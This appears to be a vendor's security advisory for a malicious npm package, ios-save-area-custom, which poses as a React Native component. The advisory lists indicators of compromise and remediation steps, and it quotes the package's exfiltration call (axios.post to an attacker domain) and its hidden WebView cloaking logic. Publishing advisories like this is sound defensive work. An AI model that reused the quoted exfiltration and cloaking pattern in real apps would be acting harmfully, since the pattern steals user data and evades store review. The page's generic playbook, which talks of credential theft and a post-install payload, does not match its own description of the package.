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Malicious package

ios-save-area-customnpm

Advisory published Updated

ios-save-area-custom is a confirmed malicious npm package (MAL-2026-6165) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1, 1.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in ios-save-area-custom (npm)

MAL-2026-6165
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall ios-save-area-custom

What this malware does

The npm package ios-save-area-custom (published by npm user sproger, [email protected]) is a deceptive React Native component and part of a coordinated 37-package campaign across two attacker-controlled domains (surrprisingcoompanny.lol and barbellmate.xyz). On component mount it registers appsFlyer.onInstallConversionData and exfiltrates the app's install/conversion attribution data via axios.post("https://surrprisingcoompanny.lol", data), fetches a remote-config URL, and renders it full-screen in a react-native-webview that is hidden (display:'none') unless the server returns a valid URL — i.e. App Store review-evasion / attribution-laundering ('cloaking'). The package name is a decoy unrelated to its actual function, and the real logic is concealed behind junk 'calculator' functions with Ukrainian-language comments. Indicators of compromise: C2 surrprisingcoompanny.lol, barbellmate.xyz; npm author sproger. Both C2 domains are currently unregistered (dangling-C2 takeover risk for any app still shipping these packages). Reproducible from the published tarball, e.g. [email protected] SocketComponent*.jsx: appsFlyer.onInstallConversionData(...) -> axios.post("https://surrprisingcoompanny.lol", data); axios.get(fLink) remote config; hidden <WebView source={{uri: techResult}}> gated on display:'none'/'flex'.

Malicious versions

7 flagged
1.0.01.0.11.0.21.0.31.0.41.0.51.0.6

Detection & response playbook

Credential / info stealer

  1. Find it

    Search your lockfiles and build artifacts for ios-save-area-custom (7 malicious versions).

  2. If you installed it — respond

    ios-save-area-custom is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If ios-save-area-custom was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. ios-save-area-custom on npm has been identified as a malicious package (versions 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

References

Credits

  • WestBayBerry / dependency-guardian · finder

Detect & block this

O3 blocks ios-save-area-custom-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

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ios-save-area-custom (npm) malicious package — MAL-2026-6165 | O3 Security